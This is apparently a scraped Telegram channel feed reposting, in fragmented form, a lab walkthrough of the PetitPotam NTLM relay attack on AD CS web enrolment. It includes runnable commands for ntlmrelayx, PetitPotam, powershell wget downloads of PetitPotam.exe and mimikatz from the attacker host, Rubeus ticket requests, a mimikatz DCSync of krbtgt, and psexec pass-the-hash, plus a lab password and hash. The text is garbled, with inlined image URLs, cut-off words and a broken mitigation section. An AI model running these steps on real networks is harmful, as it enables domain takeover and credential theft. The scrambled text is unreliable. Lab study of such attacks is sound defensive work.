Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog
Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints

IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research paper, they talked about an inherent vulnerability in the web interface of CA server with web enrolment service on. An attacker can therefore, relay the requests from the web interface to request Domain Controller machine account’s (DC$) certificate and gain escalation+persistence. PetitPotam is one such PoC tool developed by Lionel Gilles (found here) which can coerce or persuade a windows host to authenticate against DC which can be used to request certificate and gain escalation. Table of content· Vulnerability· Architecture· Lab Setup· Attack Demonstration· Initial Compromise· Certificate Generation - PetitPotam Python script· Certificate Generation - PetitPotam.exe· Certificate Generation - Mimikatz· Privilege Escalationo TGT generationo DCSync attacko PassTheHash attack· Mitigation· ConclusionAD CS supports several HTTP-based enrollment methods via additional AD CS server roles that administrators can install. These enrolment interfaces are vulnerable to NTLM relay attacks. The web endpoints do not have NTLM relay protections enabled by default and hence, are vulnerable by default. Flow of the vulnerability is as follows:How do we force authentication?=> If an attacker is patient, he can wait for organic authentication. But we don’t have that much time so we need to force authentication. One such method is the famous “Printer Bug.” But it depends on the print spooler service to be running and vulnerable. Therefore, Lionel Gilles created “PetitPotam” which initially leveraged the vulnerable EfsRpcOpenFileRaw function in MS-EFSR protocol that had an insufficient path check vulnerability. By using this, attacker can make forced/coerced authentications over SMB thus increasing NTLM relay’s capabilities. Since then, many newer functions have been added in the PetitPotam tool.Architecture- DC1$:192.168.1.2Domain Controller- workstation01$:192.168.1.3Attacker Kali- Not in domain:192.168.1.4Attacker Windows- Not in domain:random IP(non-domain joined but DNS pointing to CA IP)Lab SetupOn the Windows Server where ADCS is already configured, go to the server manager and choose add roles and features and add the following three roles:___________________________
@hacking_Attack
@Hacking_Video

Blogspot

Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints

Hacking Articles is a very interesting blog about information security, penetration testing and vulnerability assessment managed by Raj Chandel.

5 viewsedited 17:10

Hacking Articles Tips Tricks Videos Tutorials

Hacking Articles|Raj Chandel's Blog Domain Escalation: PetitPotam NTLM Relay to ADCS Endpoints IntroductionWill Schroeder and Lee Christensen wrote a research paper on this technique which can be referred to here. In ESC8 technique mentioned in the research…

E6KfXxFgF-7FT22545BPzLJNFGYkdGbgd-MIvonugp_MYuY7239gDudHeG58krqwQ=s16000 http://dc1.ignite.local/certsrv/ Attack DemonstrationThe demonstration is divided into 5 parts: Initial compromise, 3 methods to request CA, and Escalation.Initial CompromiseSince this is a domain escalation attack, we first need access to the victim system. Here, I have compromised a computer which has workstation01$ account on it. It is clear that this system has a DC machine account on it which means the system belongs to a DC but we do not have access to DC.net group “domain controllers” /domain Our aim: generate DC certificate and authenticate CA server against it and escalate privileges to DC.Compromised Credentials: Harshit:Password@1ntlmrelayx.py -t http://192.168.1.2/certsrv/certfnsh.asp -smb2support --adcs --template DomainControllerhttps://blogger.googleusercontent.com/img/a/AVvXsEjGrlg86Pgw_BUicyoS28frc43HC2y1eG-EOL64a3MH2OUbs3zhXHydmji0ujRzgydUmC-GKGNF17NdueKmuUA0f5xie5e2koJYvW7htmd1Xzo9hjQHRPdvH9r35YauotKQAW_bkvRypEmnD54_aj4-xs0ycnUq0LqdFw4F44eg5R7SuYQZJgLMe5NG2g=s16000 Certificate Generation - PetitPotam Python scriptPetitPotam can be downloaded from the official github repo here. To run the script is quite easy, you just need to specify the domain, credentials of the compromised user and IP of NTLM relayer (kali) followed by IP of the DCgit clone https://github.com/topotam/PetitPotamcd PetitPotam
python3 PetitPotam.py -d ignite.local -u harshit -p Password@1 192.168.1.4 192.168.1.3 ___________________________
@hacking_Attack
@Hacking_Video

5 viewsedited 17:10

Hacking Articles Tips Tricks Videos Tutorials

eeded: means that Cert Web Enrol has been called for a machine account (vulnerability in the Windows API for web enrolment) by providing authentication for a low priv user.Certificate Generation - PetitPotam.exeThe official GitHub repo also comes with the PetitPotam.exe file. You can upload this file to the victim server and execute and get the same results. If you see a slight pause and then Attack success!!! Status, you have generated the DC account’s certificate. In the PetitPotam.exe command, “1” refers to triggering of the exploit using default EfsRpcOpenFileRaw function vulnerability. There are other vulnerable functions added by the author too.powershell wget 192.168.1.4/PetitPotam.exe -O PetitPotam.exe 192.168.1.3 1Certificate Generation - MimikatzAs people of culture, we like to add new exploits in our favourite mimikatz. EfsRpcOpenFileRaw function vulnerability can be triggered using mimikatz too. We just need to upload this to our victim’s server and execute the following command.powershell wget http://192.168.1.4/mimikatz.exe -O mimikatz.exe Privilege EscalationWe need to take a new Windows 10 system that is not in the domain to demonstrate this practical. We set up a local admin account on this system and change our DNS to point to the DC like so:.\Rubeus.exe asktgt /outfile:kirbi /dc:192.168.1.2 /domain:ignite.local /user:workstation01 /ptt /certificate:MIIRdQIBAz.....Kirbi is a base64 encoded TGT format used by Rubeus.___________________________
@hacking_Attack
@Hacking_Video

4 viewsedited 17:10

Hacking Articles Tips Tricks Videos Tutorials

QnLOoA=s16000 DCSync attackUsing mimikatz, we can leverage this ticket to conduct DCSync attack. First, lets dump krbtgt account’s hashes.lsadump::dcsync /domain:ignite.local /user:krbtgt lsadump::dcsync /domain:ignite.local /user:administrator PassTheHash attackTo conduct PassTheHash, we will use Impacket’s psexec.py implementation and the following command:psexec.py -hashes :32196b56ffe6f45e294117b91a83bf38 ignite.local/administrator@192.168.1.2And voila! That’s it. You can see that we have now compromised CA Server’s DC account (DC1$) just by leveraging the ADCS web enrolment vulnerability and creds of a low priv user.MitigationMicrosoft has rolled out a detailed advisory on the necessary patching mechanism which can be found here. But I’ll sum it up in short sentences here:default sites->certsrv optionauthentication)providers->negotiate:kerberosConclusionCertified-Pre Owned is a valuable white paper focusing on various ADCS vulnerabilities and through the means of our blog, we aim to create awareness about these attacks so that organisations can understand, implement and patch such unknown and unobserved weaknesses. Hope you liked the article. Thanks for reading.___________________________
@hacking_Attack
@Hacking_Video

4 viewsedited 17:10

Hacking Articles Tips Tricks Videos Tutorials

Authentication Bypass in Admin Panel
https://7odamo.medium.com/authentication-bypass-in-admin-panel-ce5ad8d73024?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Medium

Authentication Bypass in Admin Panel

This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to critical

4 viewsedited 17:36

Hacking Articles Tips Tricks Videos Tutorials

5 views17:36

Hacking Articles Tips Tricks Videos Tutorials

This is my second write-up about finding a bug in admin panel and how i escalated the severity from Low to criticalContinue reading on Medium » (https://7odamo.medium.com/authentication-bypass-in-admin-panel-ce5ad8d73024?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Medium